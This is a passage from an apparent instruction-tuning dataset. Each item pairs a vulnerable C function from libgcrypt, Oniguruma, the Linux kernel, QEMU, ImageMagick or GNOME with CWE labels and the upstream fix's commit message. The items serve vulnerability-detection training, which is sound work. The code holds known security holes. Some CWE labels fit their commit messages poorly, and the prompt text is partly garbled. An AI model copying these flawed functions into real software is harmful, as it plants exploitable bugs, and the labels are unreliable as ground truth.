xsize;\n\n /*mpih_mul_n(xp, rp, rp, rsize);*/\n if ( rsize < KARATSUBA_THRESHOLD )\n _gcry_mpih_sqr_n_basecase( xp, rp, rsize );\n else\n {\n if ( !tspace )\n {\n tsize = 2 * rsize;\n tspace = mpi_alloc_limb_space( tsize, 0 );\n }\n else if ( tsize < (2*rsize) )\n {\n _gcry_mpi_free_limb_space (tspace, 0);\n tsize = 2 * rsize;\n tspace = mpi_alloc_limb_space (tsize, 0 );\n }\n _gcry_mpih_sqr_n (xp, rp, rsize, tspace);\n }\n\n xsize = 2 * rsize;\n if ( xsize > msize )\n {\n _gcry_mpih_divrem(xp + msize, 0, xp, xsize, mp, msize);\n xsize = msize;\n }\n\n tp = rp; rp = xp; xp = tp;\n rsize = xsize;\n\n /* To mitigate the Yarom/Falkner flush+reload cache\n * side-channel attack on the RSA secret exponent, we do\n * the multiplication regardless of the value of the\n * high-bit of E. But to avoid this performance penalty\n * we do it only if the exponent has been stored in secure\n * memory and we can thus assume it is a secret exponent. */\n if (esec || (mpi_limb_signed_t)e < 0)\n {\n /*mpih_mul( xp, rp, rsize, bp, bsize );*/\n if( bsize < KARATSUBA_THRESHOLD )\n _gcry_mpih_mul ( xp, rp, rsize, bp, bsize );\n else\n _gcry_mpih_mul_karatsuba_case (xp, rp, rsize, bp, bsize,\n &karactx);\n\n xsize = rsize + bsize;\n if ( xsize > msize )\n {\n _gcry_mpih_divrem(xp + msize, 0, xp, xsize, mp, msize);\n xsize = msize;\n }\n }\n if ( (mpi_limb_signed_t)e < 0 )\n {\n tp = rp; rp = xp; xp = tp;\n rsize = xsize;\n }\n e <<= 1;\n c--;\n }\n\n i--;\n if ( i < 0 )\n break;\n e = ep[i];\n c = BITS_PER_MPI_LIMB;\n }\n\n /* We shifted MOD, the modulo reduction argument, left\n MOD_SHIFT_CNT steps. Adjust the result by reducing it with the\n original MOD.\n\n Also make sure the result is put in RES->d (where it already\n might be, see above). */\n if ( mod_shift_cnt )\n {\n carry_limb = _gcry_mpih_lshift( res->d, rp, rsize, mod_shift_cnt);\n rp = res->d;\n if ( carry_limb )\n {\n rp[rsize] = carry_limb;\n rsize++;\n }\n }\n else if (res->d != rp)\n {\n MPN_COPY (res->d, rp, rsize);\n rp = res->d;\n }\n\n if ( rsize >= msize )\n {\n _gcry_mpih_divrem(rp + msize, 0, rp, rsize, mp, msize);\n rsize = msize;\n }\n\n /* Remove any leading zero words from the result. */\n if ( mod_shift_cnt )\n _gcry_mpih_rshift( rp, rp, rsize, mod_shift_cnt);\n MPN_NORMALIZE (rp, rsize);\n\n _gcry_mpih_release_karatsuba_ctx (&karactx );\n }\n\n /* Fixup for negative results. */\n if ( negative_result && rsize )\n {\n if ( mod_shift_cnt )\n _gcry_mpih_rshift( mp, mp, msize, mod_shift_cnt);\n _gcry_mpih_sub( rp, mp, msize, rp, rsize);\n rsize = msize;\n rsign = msign;\n MPN_NORMALIZE(rp, rsize);\n }\n gcry_assert (res->d == rp);\n res->nlimbs = rsize;\n res->sign = rsign;\n\n leave:\n if (mp_marker)\n _gcry_mpi_free_limb_space( mp_marker, mp_nlimbs );\n if (bp_marker)\n _gcry_mpi_free_limb_space( bp_marker, bp_nlimbs );\n if (ep_marker)\n _gcry_mpi_free_limb_space( ep_marker, ep_nlimbs );\n if (xp_marker)\n _gcry_mpi_free_limb_space( xp_marker, xp_nlimbs );\n if (tspace)\n _gcry_mpi_free_limb_space( tspace, 0 );\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-310'], 'message': 'Same computation for square and multiply.\n\n* mpi/mpi-pow.c (_gcry_mpi_powm): Compare msize for max_u_size. Move\nthe assignment to base_u into the loop. Copy content refered by RP to\nBASE_U except the last of the loop.\n\n--\n\nSigned-off-by: NIIBE Yutaka '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: fetch_token_in_cc(OnigToken* tok, UChar** src, UChar* end, ScanEnv* env)\n{\n int num;\n OnigCodePoint c, c2;\n OnigSyntaxType* syn = env->syntax;\n OnigEncoding enc = env->enc;\n UChar* prev;\n UChar* p = *src;\n PFETCH_READY;\n\n if (PEND) {\n tok->type = TK_EOT;\n return tok->type;\n }\n\n PFETCH(c);\n tok->type = TK_CHAR;\n tok->base = 0;\n tok->u.c = c;\n tok->escaped = 0;\n\n if (c == ']') {\n tok->type = TK_CC_CLOSE;\n }\n else if (c == '-') {\n tok->type = TK_CC_RANGE;\n }\n else if (c == MC_ESC(syn)) {\n if (! IS_SYNTAX_BV(syn, ONIG_SYN_BACKSLASH_ESCAPE_IN_CC))\n goto end;\n\n if (PEND) return ONIGERR_END_PATTERN_AT_ESCAPE;\n\n PFETCH(c);\n tok->escaped = 1;\n tok->u.c = c;\n switch (c) {\n case 'w':\n tok->type = TK_CHAR_TYPE;\n tok->u.prop.ctype = ONIGENC_CTYPE_WORD;\n tok->u.prop.not = 0;\n break;\n case 'W':\n tok->type = TK_CHAR_TYPE;\n tok->u.prop.ctype = ONIGENC_CTYPE_WORD;\n tok->u.prop.not = 1;\n break;\n case 'd':\n tok->type = TK_CHAR_TYPE;\n tok->u.prop.ctype = ONIGENC_CTYPE_DIGIT;\n tok->u.prop.not = 0;\n break;\n case 'D':\n tok->type = TK_CHAR_TYPE;\n tok->u.prop.ctype = ONIGENC_CTYPE_DIGIT;\n tok->u.prop.not = 1;\n break;\n case 's':\n tok->type = TK_CHAR_TYPE;\n tok->u.prop.ctype = ONIGENC_CTYPE_SPACE;\n tok->u.prop.not = 0;\n break;\n case 'S':\n tok->type = TK_CHAR_TYPE;\n tok->u.prop.ctype = ONIGENC_CTYPE_SPACE;\n tok->u.prop.not = 1;\n break;\n case 'h':\n if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_H_XDIGIT)) break;\n tok->type = TK_CHAR_TYPE;\n tok->u.prop.ctype = ONIGENC_CTYPE_XDIGIT;\n tok->u.prop.not = 0;\n break;\n case 'H':\n if (! IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_H_XDIGIT)) break;\n tok->type = TK_CHAR_TYPE;\n tok->u.prop.ctype = ONIGENC_CTYPE_XDIGIT;\n tok->u.prop.not = 1;\n break;\n\n case 'p':\n case 'P':\n if (PEND) break;\n\n c2 = PPEEK;\n if (c2 == '{' &&\n\t IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_P_BRACE_CHAR_PROPERTY)) {\n\tPINC;\n\ttok->type = TK_CHAR_PROPERTY;\n\ttok->u.prop.not = (c == 'P' ? 1 : 0);\n\n\tif (!PEND && IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_P_BRACE_CIRCUMFLEX_NOT)) {\n\t PFETCH(c2);\n\t if (c2 == '^') {\n\t tok->u.prop.not = (tok->u.prop.not == 0 ? 1 : 0);\n\t }\n\t else\n\t PUNFETCH;\n\t}\n }\n break;\n\n case 'x':\n if (PEND) break;\n\n prev = p;\n if (PPEEK_IS('{') && IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_X_BRACE_HEX8)) {\n PINC;\n num = scan_unsigned_hexadecimal_number(&p, end, 8, enc);\n if (num < 0) return ONIGERR_TOO_BIG_WIDE_CHAR_VALUE;\n if (!PEND) {\n c2 = PPEEK;\n if (ONIGENC_IS_CODE_XDIGIT(enc, c2))\n return ONIGERR_TOO_LONG_WIDE_CHAR_VALUE;\n }\n\n if (p > prev + enclen(enc, prev) && !PEND && (PPEEK_IS('}'))) {\n PINC;\n tok->type = TK_CODE_POINT;\n tok->base = 16;\n tok->u.code = (OnigCodePoint )num;\n }\n else {\n /* can't read nothing or invalid format */\n p = prev;\n }\n }\n else if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_X_HEX2)) {\n num = scan_unsigned_hexadecimal_number(&p, end, 2, enc);\n if (num < 0) return ONIGERR_TOO_BIG_NUMBER;\n if (p == prev) { /* can't read nothing. */\n num = 0; /* but, it's not error */\n }\n tok->type = TK_RAW_BYTE;\n tok->base = 16;\n tok->u.c = num;\n }\n break;\n\n case 'u':\n if (PEND) break;\n\n prev = p;\n if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_ESC_U_HEX4)) {\n num = scan_unsigned_hexadecimal_number(&p, end, 4, enc);\n if (num < 0) return ONIGERR_TOO_BIG_NUMBER;\n if (p == prev) { /* can't read nothing. */\n num = 0; /* but, it's not error */\n }\n tok->type = TK_CODE_POINT;\n tok->base = 16;\n tok->u.code = (OnigCodePoint )num;\n }\n break;\n\n case '0':\n case '1': case '2': case '3': case '4': case '5': case '6': case '7':\n if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_ESC_OCTAL3)) {\n PUNFETCH;\n prev = p;\n num = scan_unsigned_octal_number(&p, end, 3, enc);\n if (num < 0) return ONIGERR_TOO_BIG_NUMBER;\n if (p == prev) { /* can't read nothing. */\n num = 0; /* but, it's not error */\n }\n tok->type = TK_RAW_BYTE;\n tok->base = 8;\n tok->u.c = num;\n }\n break;\n\n default:\n PUNFETCH;\n num = fetch_escaped_value(&p, end, env, &c2);\n if (num < 0) return num;\n if (tok->u.c != c2) {\n tok->u.code = c2;\n tok->type = TK_CODE_POINT;\n }\n break;\n }\n }\n else if (c == '[') {\n if (IS_SYNTAX_OP(syn, ONIG_SYN_OP_POSIX_BRACKET) && (PPEEK_IS(':'))) {\n OnigCodePoint send[] = { (OnigCodePoint )':', (OnigCodePoint )']' };\n tok->backp = p; /* point at '[' is read */\n PINC;\n if (str_exist_check_with_esc(send, 2, p, end,\n (OnigCodePoint )']', enc, syn)) {\n tok->type = TK_POSIX_BRACKET_OPEN;\n }\n else {\n PUNFETCH;\n goto cc_in_cc;\n }\n }\n else {\n cc_in_cc:\n if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_CCLASS_SET_OP)) {\n tok->type = TK_CC_CC_OPEN;\n }\n else {\n CC_ESC_WARN(env, (UChar* )\"[\");\n }\n }\n }\n else if (c == '&') {\n if (IS_SYNTAX_OP2(syn, ONIG_SYN_OP2_CCLASS_SET_OP) &&\n !PEND && (PPEEK_IS('&'))) {\n PINC;\n tok->type = TK_CC_AND;\n }\n }\n\n end:\n *src = p;\n return tok->type;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'fix #55 : Byte value expressed in octal must be smaller than 256'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int vfs_rename(struct inode *old_dir, struct dentry *old_dentry,\n\t struct inode *new_dir, struct dentry *new_dentry,\n\t struct inode **delegated_inode, unsigned int flags)\n{\n\tint error;\n\tbool is_dir = d_is_dir(old_dentry);\n\tconst unsigned char *old_name;\n\tstruct inode *source = old_dentry->d_inode;\n\tstruct inode *target = new_dentry->d_inode;\n\tbool new_is_dir = false;\n\tunsigned max_links = new_dir->i_sb->s_max_links;\n\n\tif (source == target)\n\t\treturn 0;\n\n\terror = may_delete(old_dir, old_dentry, is_dir);\n\tif (error)\n\t\treturn error;\n\n\tif (!target) {\n\t\terror = may_create(new_dir, new_dentry);\n\t} else {\n\t\tnew_is_dir = d_is_dir(new_dentry);\n\n\t\tif (!(flags & RENAME_EXCHANGE))\n\t\t\terror = may_delete(new_dir, new_dentry, is_dir);\n\t\telse\n\t\t\terror = may_delete(new_dir, new_dentry, new_is_dir);\n\t}\n\tif (error)\n\t\treturn error;\n\n\tif (!old_dir->i_op->rename)\n\t\treturn -EPERM;\n\n\t/*\n\t * If we are going to change the parent - check write permissions,\n\t * we'll need to flip '..'.\n\t */\n\tif (new_dir != old_dir) {\n\t\tif (is_dir) {\n\t\t\terror = inode_permission(source, MAY_WRITE);\n\t\t\tif (error)\n\t\t\t\treturn error;\n\t\t}\n\t\tif ((flags & RENAME_EXCHANGE) && new_is_dir) {\n\t\t\terror = inode_permission(target, MAY_WRITE);\n\t\t\tif (error)\n\t\t\t\treturn error;\n\t\t}\n\t}\n\n\terror = security_inode_rename(old_dir, old_dentry, new_dir, new_dentry,\n\t\t\t\t flags);\n\tif (error)\n\t\treturn error;\n\n\told_name = fsnotify_oldname_init(old_dentry->d_name.name);\n\tdget(new_dentry);\n\tif (!is_dir || (flags & RENAME_EXCHANGE))\n\t\tlock_two_nondirectories(source, target);\n\telse if (target)\n\t\tinode_lock(target);\n\n\terror = -EBUSY;\n\tif (is_local_mountpoint(old_dentry) || is_local_mountpoint(new_dentry))\n\t\tgoto out;\n\n\tif (max_links && new_dir != old_dir) {\n\t\terror = -EMLINK;\n\t\tif (is_dir && !new_is_dir && new_dir->i_nlink >= max_links)\n\t\t\tgoto out;\n\t\tif ((flags & RENAME_EXCHANGE) && !is_dir && new_is_dir &&\n\t\t old_dir->i_nlink >= max_links)\n\t\t\tgoto out;\n\t}\n\tif (is_dir && !(flags & RENAME_EXCHANGE) && target)\n\t\tshrink_dcache_parent(new_dentry);\n\tif (!is_dir) {\n\t\terror = try_break_deleg(source, delegated_inode);\n\t\tif (error)\n\t\t\tgoto out;\n\t}\n\tif (target && !new_is_dir) {\n\t\terror = try_break_deleg(target, delegated_inode);\n\t\tif (error)\n\t\t\tgoto out;\n\t}\n\terror = old_dir->i_op->rename(old_dir, old_dentry,\n\t\t\t\t new_dir, new_dentry, flags);\n\tif (error)\n\t\tgoto out;\n\n\tif (!(flags & RENAME_EXCHANGE) && target) {\n\t\tif (is_dir)\n\t\t\ttarget->i_flags |= S_DEAD;\n\t\tdont_mount(new_dentry);\n\t\tdetach_mounts(new_dentry);\n\t}\n\tif (!(old_dir->i_sb->s_type->fs_flags & FS_RENAME_DOES_D_MOVE)) {\n\t\tif (!(flags & RENAME_EXCHANGE))\n\t\t\td_move(old_dentry, new_dentry);\n\t\telse\n\t\t\td_exchange(old_dentry, new_dentry);\n\t}\nout:\n\tif (!is_dir || (flags & RENAME_EXCHANGE))\n\t\tunlock_two_nondirectories(source, target);\n\telse if (target)\n\t\tinode_unlock(target);\n\tdput(new_dentry);\n\tif (!error) {\n\t\tfsnotify_move(old_dir, new_dir, old_name, is_dir,\n\t\t\t !(flags & RENAME_EXCHANGE) ? target : NULL, old_dentry);\n\t\tif (flags & RENAME_EXCHANGE) {\n\t\t\tfsnotify_move(new_dir, old_dir, old_dentry->d_name.name,\n\t\t\t\t new_is_dir, NULL, new_dentry);\n\t\t}\n\t}\n\tfsnotify_oldname_free(old_name);\n\n\treturn error;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362', 'CWE-399'], 'message': 'dentry name snapshots\n\ntake_dentry_name_snapshot() takes a safe snapshot of dentry name;\nif the name is a short one, it gets copied into caller-supplied\nstructure, otherwise an extra reference to external name is grabbed\n(those are never modified). In either case the pointer to stable\nstring is stored into the same structure.\n\ndentry must be held by the caller of take_dentry_name_snapshot(),\nbut may be freely dropped afterwards - the snapshot will stay\nuntil destroyed by release_dentry_name_snapshot().\n\nIntended use:\n\tstruct name_snapshot s;\n\n\ttake_dentry_name_snapshot(&s, dentry);\n\t...\n\taccess s.name\n\t...\n\trelease_dentry_name_snapshot(&s);\n\nReplaces fsnotify_oldname_...(), gets used in fsnotify to obtain the name\nto pass down with event.\n\nSigned-off-by: Al Viro '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: accept_ice_connection (GIOChannel *source,\n GIOCondition condition,\n GsmIceConnectionData *data)\n{\n IceListenObj listener;\n IceConn ice_conn;\n IceAcceptStatus status;\n GsmClient *client;\n GsmXsmpServer *server;\n\n listener = data->listener;\n server = data->server;\n\n g_debug (\"GsmXsmpServer: accept_ice_connection()\");\n\n ice_conn = IceAcceptConnection (listener, &status);\n if (status != IceAcceptSuccess) {\n g_debug (\"GsmXsmpServer: IceAcceptConnection returned %d\", status);\n return TRUE;\n }\n\n client = gsm_xsmp_client_new (ice_conn);\n ice_conn->context = client;\n\n gsm_store_add (server->priv->client_store, gsm_client_peek_id (client), G_OBJECT (client));\n /* the store will own the ref */\n g_object_unref (client);\n\n return TRUE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125', 'CWE-835'], 'message': '[gsm] Delay the creation of the GsmXSMPClient until it really exists\n\nWe used to create the GsmXSMPClient before the XSMP connection is really\naccepted. This can lead to some issues, though. An example is:\nhttps://bugzilla.gnome.org/show_bug.cgi?id=598211#c19. Quoting:\n\n \"What is happening is that a new client (probably metacity in your\n case) is opening an ICE connection in the GSM_MANAGER_PHASE_END_SESSION\n phase, which causes a new GsmXSMPClient to be added to the client\n store. The GSM_MANAGER_PHASE_EXIT phase then begins before the client\n has had a chance to establish a xsmp connection, which means that\n client->priv->conn will not be initialized at the point that xsmp_stop\n is called on the new unregistered client.\"\n\nThe fix is to create the GsmXSMPClient object when there's a real XSMP\nconnection. This implies moving the timeout that makes sure we don't\nhave an empty client to the XSMP server.\n\nhttps://bugzilla.gnome.org/show_bug.cgi?id=598211'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void __init mp_override_legacy_irq(u8 bus_irq, u8 polarity, u8 trigger,\n\t\t\t\t\t u32 gsi)\n{\n\tint ioapic;\n\tint pin;\n\tstruct mpc_intsrc mp_irq;\n\n\t/*\n\t * Convert 'gsi' to 'ioapic.pin'.\n\t */\n\tioapic = mp_find_ioapic(gsi);\n\tif (ioapic < 0)\n\t\treturn;\n\tpin = mp_find_ioapic_pin(ioapic, gsi);\n\n\t/*\n\t * TBD: This check is for faulty timer entries, where the override\n\t * erroneously sets the trigger to level, resulting in a HUGE\n\t * increase of timer interrupts!\n\t */\n\tif ((bus_irq == 0) && (trigger == 3))\n\t\ttrigger = 1;\n\n\tmp_irq.type = MP_INTSRC;\n\tmp_irq.irqtype = mp_INT;\n\tmp_irq.irqflag = (trigger << 2) | polarity;\n\tmp_irq.srcbus = MP_ISA_BUS;\n\tmp_irq.srcbusirq = bus_irq;\t/* IRQ */\n\tmp_irq.dstapic = mpc_ioapic_id(ioapic); /* APIC ID */\n\tmp_irq.dstirq = pin;\t/* INTIN# */\n\n\tmp_save_irq(&mp_irq);\n\n\t/*\n\t * Reset default identity mapping if gsi is also an legacy IRQ,\n\t * otherwise there will be more than one entry with the same GSI\n\t * and acpi_isa_irq_to_gsi() may give wrong result.\n\t */\n\tif (gsi < nr_legacy_irqs() && isa_irq_to_gsi[gsi] == gsi)\n\t\tisa_irq_to_gsi[gsi] = ACPI_INVALID_GSI;\n\tisa_irq_to_gsi[bus_irq] = gsi;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-120'], 'message': 'x86/acpi: Prevent out of bound access caused by broken ACPI tables\n\nThe bus_irq argument of mp_override_legacy_irq() is used as the index into\nthe isa_irq_to_gsi[] array. The bus_irq argument originates from\nACPI_MADT_TYPE_IO_APIC and ACPI_MADT_TYPE_INTERRUPT items in the ACPI\ntables, but is nowhere sanity checked.\n\nThat allows broken or malicious ACPI tables to overwrite memory, which\nmight cause malfunction, panic or arbitrary code execution.\n\nAdd a sanity check and emit a warning when that triggers.\n\n[ tglx: Added warning and rewrote changelog ]\n\nSigned-off-by: Seunghun Han \nSigned-off-by: Thomas Gleixner \nCc: security@kernel.org\nCc: \"Rafael J. Wysocki\" \nCc: stable@vger.kernel.org\nSigned-off-by: Ingo Molnar '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static QIOChannel *nbd_negotiate_handle_starttls(NBDClient *client,\n uint32_t length)\n{\n QIOChannel *ioc;\n QIOChannelTLS *tioc;\n struct NBDTLSHandshakeData data = { 0 };\n\n TRACE(\"Setting up TLS\");\n ioc = client->ioc;\n if (length) {\n if (nbd_negotiate_drop_sync(ioc, length) < 0) {\n return NULL;\n }\n nbd_negotiate_send_rep_err(ioc, NBD_REP_ERR_INVALID, NBD_OPT_STARTTLS,\n \"OPT_STARTTLS should not have length\");\n return NULL;\n }\n\n if (nbd_negotiate_send_rep(client->ioc, NBD_REP_ACK,\n NBD_OPT_STARTTLS) < 0) {\n return NULL;\n }\n\n tioc = qio_channel_tls_new_server(ioc,\n client->tlscreds,\n client->tlsaclname,\n NULL);\n if (!tioc) {\n return NULL;\n }\n\n qio_channel_set_name(QIO_CHANNEL(tioc), \"nbd-server-tls\");\n TRACE(\"Starting TLS handshake\");\n data.loop = g_main_loop_new(g_main_context_default(), FALSE);\n qio_channel_tls_handshake(tioc,\n nbd_tls_handshake,\n &data,\n NULL);\n\n if (!data.complete) {\n g_main_loop_run(data.loop);\n }\n g_main_loop_unref(data.loop);\n if (data.error) {\n object_unref(OBJECT(tioc));\n error_free(data.error);\n return NULL;\n }\n\n return QIO_CHANNEL(tioc);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'nbd/server: get rid of nbd_negotiate_read and friends\n\nFunctions nbd_negotiate_{read,write,drop_sync} were introduced in\n1a6245a5b, when nbd_rwv (was nbd_wr_sync) was working through\nqemu_co_sendv_recvv (the path is nbd_wr_sync -> qemu_co_{recv/send} ->\nqemu_co_send_recv -> qemu_co_sendv_recvv), which just yields, without\nsetting any handlers. But starting from ff82911cd nbd_rwv (was\nnbd_wr_syncv) works through qio_channel_yield() which sets handlers, so\nwatchers are redundant in nbd_negotiate_{read,write,drop_sync}, then,\nlet's just use nbd_{read,write,drop} functions.\n\nFunctions nbd_{read,write,drop} has errp parameter, which is unused in\nthis patch. This will be fixed later.\n\nSigned-off-by: Vladimir Sementsov-Ogievskiy \nReviewed-by: Eric Blake \nMessage-Id: <20170602150150.258222-4-vsementsov@virtuozzo.com>\nSigned-off-by: Paolo Bonzini '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static Image *ReadRLEImage(const ImageInfo *image_info,ExceptionInfo *exception)\n{\n#define SkipLinesOp 0x01\n#define SetColorOp 0x02\n#define SkipPixelsOp 0x03\n#define ByteDataOp 0x05\n#define RunDataOp 0x06\n#define EOFOp 0x07\n#define ThrowRLEException(exception,message) \\\n{ \\\n if (colormap != (unsigned char *) NULL) \\\n colormap=(unsigned char *) RelinquishMagickMemory(colormap); \\\n if (pixel_info != (MemoryInfo *) NULL) \\\n pixel_info=RelinquishVirtualMemory(pixel_info); \\\n ThrowReaderException((exception),(message)); \\\n}\n\n char\n magick[12];\n\n Image\n *image;\n\n int\n opcode,\n operand,\n status;\n\n MagickStatusType\n flags;\n\n MagickSizeType\n number_pixels;\n\n MemoryInfo\n *pixel_info;\n\n Quantum\n index;\n\n register ssize_t\n x;\n\n register Quantum\n *q;\n\n register ssize_t\n i;\n\n register unsigned char\n *p;\n\n size_t\n bits_per_pixel,\n map_length,\n number_colormaps,\n number_planes,\n number_planes_filled,\n one,\n pixel_info_length;\n\n ssize_t\n count,\n offset,\n y;\n\n unsigned char\n background_color[256],\n *colormap,\n pixel,\n plane,\n *pixels;\n\n /*\n Open image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n if (image_info->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",\n image_info->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n image=AcquireImage(image_info,exception);\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n return(DestroyImageList(image));\n /*\n Determine if this a RLE file.\n */\n colormap=(unsigned char *) NULL;\n pixel_info=(MemoryInfo *) NULL;\n count=ReadBlob(image,2,(unsigned char *) magick);\n if ((count != 2) || (memcmp(magick,\"\\122\\314\",2) != 0))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n do\n {\n /*\n Read image header.\n */\n image->page.x=(ssize_t) ReadBlobLSBShort(image);\n image->page.y=(ssize_t) ReadBlobLSBShort(image);\n image->columns=ReadBlobLSBShort(image);\n image->rows=ReadBlobLSBShort(image);\n flags=(MagickStatusType) ReadBlobByte(image);\n image->alpha_trait=flags & 0x04 ? BlendPixelTrait : UndefinedPixelTrait;\n number_planes=(size_t) ReadBlobByte(image);\n bits_per_pixel=(size_t) ReadBlobByte(image);\n number_colormaps=(size_t) ReadBlobByte(image);\n map_length=(unsigned char) ReadBlobByte(image);\n if (map_length >= 22)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n if (EOFBlob(image) != MagickFalse)\n ThrowRLEException(CorruptImageError,\"UnexpectedEndOfFile\");\n one=1;\n map_length=one << map_length;\n if ((number_planes == 0) || (number_planes == 2) ||\n ((flags & 0x04) && (number_colormaps > 254)) || (bits_per_pixel != 8) ||\n (image->columns == 0))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n if (flags & 0x02)\n {\n /*\n No background color-- initialize to black.\n */\n for (i=0; i < (ssize_t) number_planes; i++)\n background_color[i]=0;\n (void) ReadBlobByte(image);\n }\n else\n {\n /*\n Initialize background color.\n */\n p=background_color;\n for (i=0; i < (ssize_t) number_planes; i++)\n *p++=(unsigned char) ReadBlobByte(image);\n }\n if ((number_planes & 0x01) == 0)\n (void) ReadBlobByte(image);\n if (EOFBlob(image) != MagickFalse)\n ThrowRLEException(CorruptImageError,\"UnexpectedEndOfFile\");\n if (number_colormaps != 0)\n {\n /*\n Read image colormaps.\n */\n colormap=(unsigned char *) AcquireQuantumMemory(number_colormaps,\n 3*map_length*sizeof(*colormap));\n if (colormap == (unsigned char *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n p=colormap;\n for (i=0; i < (ssize_t) number_colormaps; i++)\n for (x=0; x < (ssize_t) map_length; x++)\n {\n *p++=(unsigned char) ScaleQuantumToChar(ScaleShortToQuantum(\n ReadBlobLSBShort(image)));\n if (EOFBlob(image) != MagickFalse)\n ThrowRLEException(CorruptImageError,\"UnexpectedEndOfFile\");\n }\n }\n if ((flags & 0x08) != 0)\n {\n char\n *comment;\n\n size_t\n length;\n\n /*\n Read image comment.\n */\n length=ReadBlobLSBShort(image);\n if (length != 0)\n {\n comment=(char *) AcquireQuantumMemory(length,sizeof(*comment));\n if (comment == (char *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n count=ReadBlob(image,length-1,(unsigned char *) comment);\n comment[length-1]='\\0';\n (void) SetImageProperty(image,\"comment\",comment,exception);\n comment=DestroyString(comment);\n if ((length & 0x01) == 0)\n (void) ReadBlobByte(image);\n }\n }\n if (EOFBlob(image) != MagickFalse)\n ThrowRLEException(CorruptImageError,\"UnexpectedEndOfFile\");\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n status=SetImageExtent(image,image->columns,image->rows,exception);\n if (status == MagickFalse)\n return(DestroyImageList(image));\n /*\n Allocate RLE pixels.\n */\n if (image->alpha_trait != UndefinedPixelTrait)\n number_planes++;\n number_pixels=(MagickSizeType) image->columns*image->rows;\n number_planes_filled=(number_planes % 2 == 0) ? number_planes :\n number_planes+1;\n if ((number_pixels*number_planes_filled) != (size_t) (number_pixels*\n number_planes_filled))\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n pixel_info=AcquireVirtualMemory(image->columns,image->rows*\n MagickMax(number_planes_filled,4)*sizeof(*pixels));\n if (pixel_info == (MemoryInfo *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n pixel_info_length=image->columns*image->rows*\n MagickMax(number_planes_filled,4);\n pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);\n (void) ResetMagickMemory(pixels,0,pixel_info_length);\n if ((flags & 0x01) && !(flags & 0x02))\n {\n ssize_t\n j;\n\n /*\n Set background color.\n */\n p=pixels;\n for (i=0; i < (ssize_t) number_pixels; i++)\n {\n if (image->alpha_trait == UndefinedPixelTrait)\n for (j=0; j < (ssize_t) number_planes; j++)\n *p++=background_color[j];\n else\n {\n for (j=0; j < (ssize_t) (number_planes-1); j++)\n *p++=background_color[j];\n *p++=0; /* initialize matte channel */\n }\n }\n }\n /*\n Read runlength-encoded image.\n */\n plane=0;\n x=0;\n y=0;\n opcode=ReadBlobByte(image);\n if (opcode == EOF)\n ThrowRLEException(CorruptImageError,\"UnexpectedEndOfFile\");\n do\n {\n switch (opcode & 0x3f)\n {\n case SkipLinesOp:\n {\n operand=ReadBlobByte(image);\n if (operand == EOF)\n ThrowRLEException(CorruptImageError,\"UnexpectedEndOfFile\");\n if (opcode & 0x40)\n {\n operand=ReadBlobLSBSignedShort(image);\n if (operand == EOF)\n ThrowRLEException(CorruptImageError,\"UnexpectedEndOfFile\");\n }\n x=0;\n y+=operand;\n break;\n }\n case SetColorOp:\n {\n operand=ReadBlobByte(image);\n if (operand == EOF)\n ThrowRLEException(CorruptImageError,\"UnexpectedEndOfFile\");\n 